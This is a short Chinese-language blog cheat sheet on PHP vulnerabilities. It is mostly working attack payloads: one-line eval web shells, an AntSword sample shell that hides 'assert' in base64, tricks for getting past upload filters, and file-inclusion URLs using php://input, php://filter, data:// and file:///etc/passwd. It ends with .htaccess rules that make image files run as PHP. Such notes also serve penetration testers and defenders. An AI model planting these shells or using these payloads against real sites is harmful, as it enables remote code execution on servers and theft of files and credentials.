php漏洞整理
php漏洞整理
一句话
<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
蚁剑官方示例
<?php
/**
* pwd=ant
*/
$ant=base64_decode("YXNzZXJ0");
$ant($_POST['ant']);
?>
文件上传绕过
文件名绕过
- 修改后缀为
phtml
内容绕过
- 报头格式修改为:
Content-Type: image/png
- 上传内容添加图片头部,如:
GIF89a
- php标签绕过
<script language='php'>@eval($_POST['cmd']);</script>
文件包含
1. php input
需要用post方法提交完整的php源码,例如data=<?php phpinfo();?>
。
http://xx.com/?file=php://input
2. php filter
2.1 读文件
直接读取file.txt的内容,其中这种情况可以省略read。
http://xx.com/?file=php://filter/read/resource=file.txt
如果读取php源码,因为会执行,所以返回前端是执行后的结果,这时候如果需要看实际源码,可以用base64编码后再读取。
http://xx.com/?file=php://filter/read=convert.base64-encode/resource=file.txt
2.2 写文件
如果是写入,那么肯定有个参数用来提交内容,假设这个参数是txt。
http://xx.com/?file=php://filter/write/resource=test.txt&txt=我写入了
如果是写入会被过滤,可以选择在前端写入base64编码,后端解密后写入文件。
http://xx.com/?file=php://filter/write=convert.base64-decode/resource=test.txt&txt=5oiR5YaZ5YWl5LqG
3. data
http://xx.com/?file=data://text/plain,<?php phpinfo();?>
http://xx.com/?file=data://text/plain;base64,上面代码base64编码
4. file
直接读取文件。
http://xx.com/?file=file:///etc/passwd
5. htaccess
有时候实在没办法上传正确后缀的程序文件执行,可以上传一个.htaccess
文件,来执行指定后缀的文件。
上传一个自定义的.htaccess
,针对目录改变配置,下面是文件内容,这个配置可以告诉后端程序,在此目录的jpg当作php执行。
AddType application/x-httpd-php .jpg
AddHandler php5-script .php
或者以下这样内容也行,只要文件包含cimer就能解析,比如文件名为cimertest
包含要执行的内容。
<FilesMatch “cimer”>
SetHandler application/x-httpd-php
</FilesMatch>
-- Write by PercyC
2021年12月11日
本文链接:
/archives/1689838599510
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
percy家园!
喜欢就支持一下吧